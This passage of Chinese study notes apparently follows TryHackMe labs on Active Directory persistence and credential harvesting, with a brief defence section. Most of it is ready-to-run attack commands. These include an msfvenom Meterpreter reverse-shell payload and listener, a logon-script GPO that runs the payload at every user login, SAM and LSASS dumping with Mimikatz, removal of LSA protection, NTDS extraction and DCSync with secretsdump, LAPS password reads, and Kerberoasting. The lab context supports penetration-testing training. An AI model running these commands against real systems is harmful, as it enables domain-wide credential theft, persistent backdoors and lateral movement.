- 受限组(Restricted Group)成员资格:这可以让我们获得域中所有主机的管理员访问权限。
- 登录脚本部署:这能确保每当有用户认证登录到域中的主机时,我们都能获得一个反向 Shell 连接。
准备
1
2
# 生成小马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > recopec_shell.exe
Windows 允许我们通过登录 GPO 执行批处理或 PowerShell 脚本。批处理脚本通常比 PowerShell 脚本更稳定,因此让我们创建一个脚本,将可执行文件复制到主机,并在用户验证后执行。
1
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\recopec_shell.exe C:\tmp\recopec_shell.exe && timeout /t 20 && C:\tmp\recopec_shell.exe
1
2
3
4
5
6
# 复制文件到 sysvol 目录下
scp recopec_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
scp recopec_script za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
# 启动 MSF 监听器
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"
创建 GPO
照例用 Runas 注入凭据,然后添加 Group Policy Management 组件。
1
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
从技术上讲,我们可以将内容写入 “默认域策略”,该策略应传播到所有 AD 对象,但我们将采用更狭义的方法来完成任务,只是为了展示过程。之后,您可以尝试将更改应用到整个域。
我们将编写一个应用于所有管理员的 GPO,因此右键单击 Admins OU 并选择在此域中创建一个 GPO,然后将其链接到此处。
后面的走不下去了。
总结
我们有几种不同的方法在 AD 中维持权限。其中一些方法的持久性比其他方法更好。为了确保您的持久性不会被蓝队删除,您必须创造性地考虑您的持久性。此外,你不应该等到整个域攻陷后才部署持久性。在每一轮横向移动和权限升级之后,都应部署持久性。
其他持久化技术
在本网络中,我们介绍了可用于在 AD 中持久化的几种技术,以下是同样值得一提的持久化技术:
- Skeleton keys - 使用 Mimikatz,我们可以部署一把“万能钥匙”。Mimikatz 会创建一个默认密码,这个密码对域内的任何账户都有效。同时,账户的原始密码仍然可用,这使得很难察觉到该攻击的发生。利用这把万能钥匙,攻击者可以冒充域内的任何账户。
- Directory Service Restore Mode (DSRM) - 域控制器有一个用于紧急情况的内置管理员账户,称为 DSRM 账户。这个密码在服务器被提升为域控制器时设置,并且很少更改。在紧急情况下,这个密码可以用来恢复域控制器。攻击者可以使用 Mimikatz 提取这个密码,并利用它获得对环境中域控制器的持久化管理员权限。
- Malicious Security Support Provider (SSP) - 通过利用 SSP 接口,可以添加新的 SSP。我们可以将 Mimikatz 的
mimilib
添加为一个 SSP,它会把所有认证尝试的凭据记录到一个文件中。我们可以指定一个网络位置来记录,这使得mimilib
可以在用户认证到被入侵主机时将凭据发送给我们,从而实现持久化。 - Computer Accounts - 计算机账户的密码通常每 30 天自动轮换一次。然而,我们可以修改一个计算机账户的密码,从而阻止这种自动轮换。与此同时,我们还可以授予该计算机账户对其他机器的管理员访问权限。这将使我们能够像使用普通账户一样使用这个计算机账户,而这种持久化的唯一迹象就是该账户对其他主机拥有管理员权限,这在 AD 中通常是正常行为,因此可能不会被检测到。
防御措施
防御 AD 持久化可能非常棘手。在某些情况下,持久化的根源可能深到需要完全重建整个域。然而,我们仍然可以采取一些措施来检测已部署的持久化技术:
- 异常账户登录事件:这是最常见的持久化告警。任何时候,当凭据违反了分层模型时,都可能意味着存在持久化。
- 编写特定检测规则:针对每一种提到的持久化技术,都可以编写特定的检测规则。例如,当机器账户的密码发生更改时、ACL 权限被随意更新时,或有新的 GPO 被创建时。
- 保护特权资源:对抗持久化的最佳防御是保护特权资源。尽管低权限访问可以用来部署一些持久化技术,但那些真正可怕的技术只有在攻击者获得域的特权访问后才可用。
Credentials Harvesting
这个房间讲的就是一些凭证收集的技巧了,应该记录在速查里面的
直接访问的凭据
- 命令历史
- 配置文件(Web App, FTP 文件等)
- 备份文件
- 共享文件和文件夹
- 注册表
- 源码
- 数据库
- 密码管理器
1
2
3
4
5
6
7
8
9
10
# PowerShell 命令历史
type C:\Users\Recopec\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 注册表搜索密码关键字
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Active Directory
# 获取域内用户用户名 SamAccountName 和描述
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
Windows 本地凭据
方法1:键盘记录器,MSF 自带
SAM 文件
SAM 是一个 Microsoft Windows 数据库,其中包含用户名和密码等本地账户信息。SAM 数据库以加密格式存储这些详细信息,使其更难被检索。此外,在 Windows 操作系统运行时,任何用户都无法读取和访问该数据库。不过,有多种方法和攻击方式可以转储 SAM 数据库的内容。
不能读取 SAM 文件的解决办法
因为权限或者其他问题导致没法直接把 sam 文件读取出来。
MSF
这个就不用说了把,直接 hashdump 就出来了。
Volume Shadow Copy Service
这个像是打一个快照一样,然后去访问这个快照,就绕过了访问限制,这里我们用 wmic 完成这个操作,注意需要管理员权限。
1
2
3
4
5
6
7
8
9
10
11
12
# 给 C 盘创建一个 shadowcopy
wmic shadowcopy call create Volume='C:\'
# vssadmin: Volume Shadow Copy Service administrative command-line tool
# 查看 shadowcopy 列表
vssadmin list shadows
# Shadow Copy Volume: 即我们要找的目录
# 复制我们要的文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\thm\Desktop\sam
# 复制解密密钥
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\thm\Desktop\system
SAM 数据库是被 RC4 或者 AES 加密的,我们需要一个解密密钥,在 c:\Windows\System32\Config\system
下。
Registry Hives
另一种转储 SAM 数据库内容的方法是通过 Windows 注册表。Windows 注册表还存储了部分 SAM 数据库内容的副本,供 Windows 服务使用。幸运的是,我们可以使用 reg.exe 工具保存 Windows 注册表的值。
1
2
3
4
5
6
# 导出这两个文件
reg save HKLM\sam C:\users\thm\Desktop\sam-reg
reg save HKLM\system C:\users\thm\Desktop\system-reg
# 解密
python secretsdump.py -sam /home/kali/thm/sam-reg -system /home/kali/thm/system-reg local
请注意,如果我们将输出结果与从 Metasploit 的 Hashdump 中获得的 NTLM 哈希值进行比较,结果是不同的。原因是其他账户属于 AD,它们的信息没有存储在我们转储的系统文件中。要解密它们,我们需要转储 Windows 文件中的 SECURITY 文件,其中包含解密 Active Directory 账户所需的文件。
获得 NTLM 哈希值后,如果可以猜到,我们可以尝试使用 Hashcat 对其进行破解,或者使用不同的技术使用哈希值冒充用户。
本地安全管理子系统服务
什么是 LSASS
本地安全授权服务器服务(LSASS)是一个 Windows 进程,负责处理操作系统安全策略并在系统中执行。它验证登录账户并确保密码、哈希值和 Kerberos 票据。Windows 系统将凭证存储在 LSASS 进程中,以便用户访问网络资源,如文件共享、SharePoint 网站和其他网络服务,而无需在每次连接时输入凭证。
因此,LSASS 进程是红队人员的目标,因为它存储了用户账户的敏感信息。LSASS 通常会被滥用来转储凭证,以提升权限、窃取数据或横向移动。幸运的是,如果我们拥有管理员权限,就可以转储 LSASS 的进程内存。Windows 系统允许我们创建转储文件,即给定进程的快照。这可以通过桌面访问(图形用户界面)或命令提示符完成。这种攻击在 MITRE ATT&CK 框架中被定义为 “OS Credential Dumping: LSASS Memory (T1003)“。
转储 LSASS
首先是不借助工具的情况。直接任务管理器 -> 右键创建 dump 文件。
1
2
3
4
5
6
7
8
# 用 SysinternalsSuite DUMP lsass
c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump
# 用 mimikatz dump
mimikatz.exe
privilege:debug
sekurlsa::logonpasswords
#ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
受害者必须登录进系统里,这个用户的凭证才会被缓存。
保护的 LSASS
2012 年,微软实施了 LSA 保护措施,以防止访问 LSASS 从内存中提取凭证。
要启用 LSASS 保护,我们可以将 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 中的注册表 RunAsPPL DWORD 值修改为 1。
1
2
3
4
5
6
7
8
# 如果你是跟着 Room 走的,上面的命令会报错,你需要执行下面的命令
# 打开到工具目录
cd c:\Tools\Mimikatz
./mimikatz.exe
# 关闭 LSA 保护
!+
!processprotect /process:lsass.exe /remove
# 现在你就可以再跑一遍上面的步骤了
Windows 凭据管理器
什么是凭证管理器?
凭证管理器是 Windows 的一项功能,用于存储网站、应用程序和网络的登录敏感信息。它包含用户名、密码和互联网地址等登录凭据。有四个凭证类别:
- 网络凭证包含存储在互联网浏览器或其他应用程序中的身份验证详细信息。
- Windows 凭据包含 Windows 身份验证详细信息,如 NTLM 或 Kerberos。
- 通用凭证包含基本身份验证详细信息,如明文用户名和密码。
- 基于证书的凭证: 这些是基于证书的身份验证详细信息。
访问凭据管理器
可以直接在 GUI 上查看 (Control Panel -> User Accounts -> Credential Manager) ,或者使用 Microsoft Credentials Manager vaultcmd
工具。
1
2
3
4
5
6
# 显示系统里可用的的保险库
vaultcmd /list
# 检查保险库里面存储的内容
VaultCmd /listproperties:"Web Credentials"
# 列出凭据存储的更多信息
VaultCmd /listcreds:"Web Credentials"
转储凭据
VaultCmd 无法显示密码,但我们可以依靠其他 PowerShell 脚本,如 Get-WebCredentials.ps1,它已包含在所附的虚拟机中,执行脚本时要带上 bypass 命令。
Bypass policy
指的是 PowerShell 的执行策略(Execution Policy)。
这是 PowerShell 的一项安全功能,旨在防止恶意脚本在未经用户许可的情况下运行。它有以下几种模式:
- Restricted:最严格的模式,不允许任何脚本运行。
- AllSigned:只允许运行由可信发布者签名的脚本。
- RemoteSigned:允许运行自己创建的本地脚本,但要求从网上下载的脚本必须经过签名。
- Bypass:最宽松的模式,绕过所有执行策略,允许任何脚本运行,没有警告或提示。
1
2
3
4
5
powershell -ex bypass
# 载入模块
Import-Module C:\Tools\Get-WebCredentials.ps1
# 导出 Web 凭证
Get-WebCredentials
RunAs
可以使用保存的凭据运行 RunAs 载入凭据
1
2
3
4
5
6
7
# 查看保存的凭据
cmdkey /list
# 使用 thm.red\thm-local 凭据运行 cmd
runas /savecred /user:thm.red\thm-local cmd.exe
type "c:\Users\thm-local\Saved Games\flag.txt"
Mimikatz 提取密码
用这个就可以直接提取明文密码了
1
2
3
4
5
6
c:\Tools\Mimikatz\mimikatz.exe
privilege::debug
# 如果报错就用解锁 LSASS 方法跑一遍
# 导出凭据
sekurlsa::credman
域控
这一节就讲了如何本地和远程提取域控的 Hash。
NTDS Domain Controller
新技术目录服务 (NTDS) 是一个包含所有 Active Directory 数据(包括对象、属性、凭证等)的数据库。NTDS.DTS 数据由以下三个表组成:
- Schema table: it contains types of objects and their relationships.
- Link table: it contains the object’s attributes and their values.
- Data type: It contains users and groups.
NTDS 默认位于 C:\Windows\NTDS,并已加密,以防止从目标计算机提取数据。从运行的机器访问 NTDS.dit 文件是不允许的,因为该文件被 Active Directory 使用并锁定。不过,有多种方法可以访问该文件。本任务将讨论如何使用 ntdsutil 和 Diskshadow 工具获取 NTDS 文件的副本,最后讨论如何转储文件内容。需要注意的是,解密 NTDS 文件需要使用系统引导密钥来尝试解密 LSA 隔离凭据,该凭据存储在 SECURITY 文件系统中。因此,我们还必须转储包含所有解密所需文件的安全文件。
Ntdsutil
Ntdsutil 是一款 Windows 实用程序,用于管理和维护 Active Directory 配置。它可用于各种情况,如
- 恢复 Active Directory 中已删除的对象。
- 执行 AD 数据库维护
- 活动目录快照管理。
- 设置目录服务还原模式 (DSRM) 管理员密码。
本地 Dump(无凭证)
如果您没有可用的凭证,但有域控制器的管理员访问权限,通常会这样做。因此,我们将依靠 Windows 实用程序来转储 NTDS 文件并离线破解它们。首先,我们假设自己拥有域控制器的管理员权限。
要成功转储 NTDS 文件的内容,我们需要以下文件:
- C:\Windows\NTDS\ntds.dit
- C:\Windows\System32\config\SYSTEM
- C:\Windows\System32\config\SECURITY
下面是一条单行 PowerShell 命令,使用 Ntdsutil 工具转储 C:\temp 目录中的 NTDS 文件。
1
2
3
4
5
# 本地导出 NTDS
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
# 把文件传到自己的机器上运行 impacket 脚本
python secretsdump.py -security /home/kali/thm/20250808/SECURITY -system /home/kali/thm/20250808/SYSTEM -ntds /home/kali/thm/20250808/ntds.dit local
远程 Dump(有凭证)
在上一节中,我们讨论了如何在没有凭证的情况下从内存中获取哈希值。在本任务中,我们将演示如何远程转储系统和域控制器哈希值,这需要密码或 NTLM 哈希值等凭证。我们还需要具有域控制器管理访问权限或特殊权限的用户的凭据。
DC Sync
DC Sync 是在 Active Directory 环境中执行的一种流行攻击,用于远程转储凭据。当具有以下 AD 权限的账户(具有必要权限的特殊账户)或 AD 管理账户受到攻击时,这种攻击就会起作用:
- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes in Filtered Set
攻击者会利用这些配置来执行域复制,通常称为 “DC Sync ”或 “域控制器同步”。
可以用 mimikatz 工具执行 DC Sync 攻击,不过这里用 Impacket SecretsDump 远程实现。
1
2
3
4
5
6
# 远程导出 NTDS 他还会导出 Kerberos 密钥
python secretsdump.py -just-dc THM.red/thm@10.201.48.121
# 会提示你输入密码
# 远程导出 NTLM
python secretsdump.py -just-dc-ntlm THM.red/thm@10.201.48.121
Local Administrator Password Solution (LAPS)
组策略首选项(Group Policy Preferences, GPP)
Windows 操作系统有一个内置的管理员账户,可以通过密码访问。在拥有大量计算机的 Windows 环境中更改密码是一项挑战。因此,微软实现了一种方法,允许管理员使用组策略首选项(GPP)在所有工作站上更改本地管理员账户。
GPP 是一种工具,允许管理员创建包含嵌入式凭据的域策略。一旦部署了 GPP,SYSVOL 文件夹中会创建不同的 XML 文件。SYSVOL 是 Active Directory 的一个关键组件,它在 NTFS 卷上创建一个共享目录,所有经过身份验证的域用户都可以以读取权限访问。
问题在于,这些与 GPP 相关的 XML 文件中包含一个使用 AES-256 位加密的密码。在当时,这种加密强度被认为是足够的,直到微软不知何故在其 MSDN 网站上发布了私钥。由于域用户可以读取 SYSVOL 文件夹的内容,因此解密存储的密码变得轻而易举。用于破解 SYSVOL 加密密码的工具之一就是 Get-GPPPassword。
Local Administrator Password Solution (LAPS)
2015 年,微软不再将加密密码存储在 SYSVOL 文件夹中。他们引入了 本地管理员密码解决方案(LAPS),这是一种更安全的远程管理本地管理员密码的方法。
这种新方法在 Active Directory 的计算机对象中添加了两个新的属性:ms-mcs-AdmPwd
和 ms-mcs-AdmPwdExpirationTime
。ms-mcs-AdmPwd
属性包含本地管理员的明文密码,而 ms-mcs-AdmPwdExpirationTime
则包含密码的重置过期时间。LAPS 使用 admpwd.dll
来更改本地管理员密码并更新 ms-mcs-AdmPwd
的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检查 LAPS 是否开启
dir "C:\Program Files\LAPS\CSE"
# 检查是否有对 AdmPwd 可用的 cmdlets
Get-Command *AdmPwd*
CommandType Name
----------- ----
Cmdlet Find-AdmPwdExtendedRights
Cmdlet Get-AdmPwdPassword
Cmdlet Reset-AdmPwdPassword
Cmdlet Set-AdmPwdAuditing
Cmdlet Set-AdmPwdComputerSelfPermission
Cmdlet Set-AdmPwdReadPasswordPermission
Cmdlet Set-AdmPwdResetPasswordPermission
Cmdlet Update-AdmPwdADSchema
可以使用 -Identity *
参数列出所有可用的 OU。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 找哪个 AD OU 拥有处理 LAPS 的 “所有扩展权限 ”属性
Find-AdmPwdExtendedRights -Identity THMorg
ObjectDN ExtendedRightHolders
-------- --------------------
OU=THMorg,DC=thm,DC=red {THM\LAPsReader}
# 检查组
net groups "LAPsReader"
Members
-------------------------------------------------------------------------------
bk-admin
# 获取 bk-admin 用户权限后,可以用下面这个命令获取 LAPS 密码
Get-AdmPwdPassword -ComputerName creds-harvestin
需要注意的是,在实际的 AD 环境中,LAPS 只在特定的计算机上启用。因此,您需要枚举并找到正确的目标计算机以及正确的用户账户,才能获取 LAPS 密码。有很多脚本可以帮助实现这一点,但我们在 C:\Tool 中包含了 LAPSToolkit PowerShell 脚本,可以试用一下。
其他攻击方式
Kerberoasting
Kerberoasting 是一种常见的 AD 攻击,用于获取有助于持久性的 AD 票据。要使这种攻击奏效,攻击者必须能访问 SPN(服务主名)账户,如 IIS User、MSSQL 等。Kerberoasting 攻击涉及请求 Ticket Granting Ticket (TGT) 和 Ticket Granting Service (TGS)。这种攻击的最终目的是实现权限升级和横向网络移动。
让我们快速演示一下该攻击。首先,我们需要找到 SPN 账户,然后发送请求以获取 TGS 票据。我们将使用 GetUserSPNs.python 脚本从 AttackBox 执行 Kerberoasting 攻击。
1
2
3
4
5
6
7
8
# SPN 枚举
python GetUserSPNs.py -dc-ip 10.201.48.121 THM.red/thm
# 请求 TGS 票据
python GetUserSPNs.py -dc-ip 10.201.80.121 THM.red/thm -request-user svc-thm
# 爆破 TGS
hashcat hash.txt rockyou.txt
AS-REP Roasting
AS-REP Roasting 是一种使攻击者能够检索账户选项设置为“不需要 Kerberos 预验证“的 AD 用户密码哈希值的技术。
该选项依赖于旧的 Kerberos 身份验证协议,该协议允许在没有密码的情况下进行身份验证。
获得哈希值后,我们可以尝试离线破解,最后,如果可以破解,我们就得到了密码!
1
python GetNPUsers.py -dc-ip 10.201.80.121 thm.red/ -usersfile /tmp/users.txt
还有一些玩过的:
- SMB 中继
- LLMNR / NBNS 投毒
总结
其实主要就那几个方向,收集用户机器上的密码,比如说密码管理器,浏览器,转储 LSASS。之后呢,拿到了权限可以用 dcsync 拿下金票,那些 LAPS 不太懂,估计碰不上。
可以尝试使用以下工具来扫描目标机器。